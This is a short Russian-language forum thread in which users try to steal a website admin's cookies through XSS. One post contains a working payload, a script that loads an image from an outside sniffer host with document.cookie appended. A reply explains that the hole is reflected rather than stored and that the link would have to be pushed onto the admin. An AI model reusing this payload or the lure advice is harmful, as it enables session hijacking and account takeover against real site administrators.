как проверить прошла атака или нет?

зайти на снифер,если есть куки значит прошла

HAXTA4OK куки ведь получаться сразу, или только когда админ сайта зайдет на сайт? просто пока что куков нет...

когда он зайдет на сайт, вернее на ту странице где xss сработает

ЗЫ возьми и сам проверь, зайди туда где ты xss прописывал , если придут твои куки значит xss там есть

HAXTA4OK, понял, вечером проверю логи сниффера, вдруг что нить получиться))

HAXTA4OK проверил ка4к ты сказал, не пришли, блин. можешь посмотреть что я не так сделал?

<script>
img = new Image(); img.src = "http://faiki.hut2.ru/s.gif"+document.cookie;
</script>

Вот такой код, в писываю в адрессную строку, в поле поиска появляется img new image();

прочел тему твою сначала, тьфу, у тебя пассивная а не активная, для этого тебе надо эту ссылку как то впарить админу что бы он по ней прошел, что мало вероятно

зы ощущение что ее там вообще нету =\

ребят, а еще есть какой нить способ по моему сайту?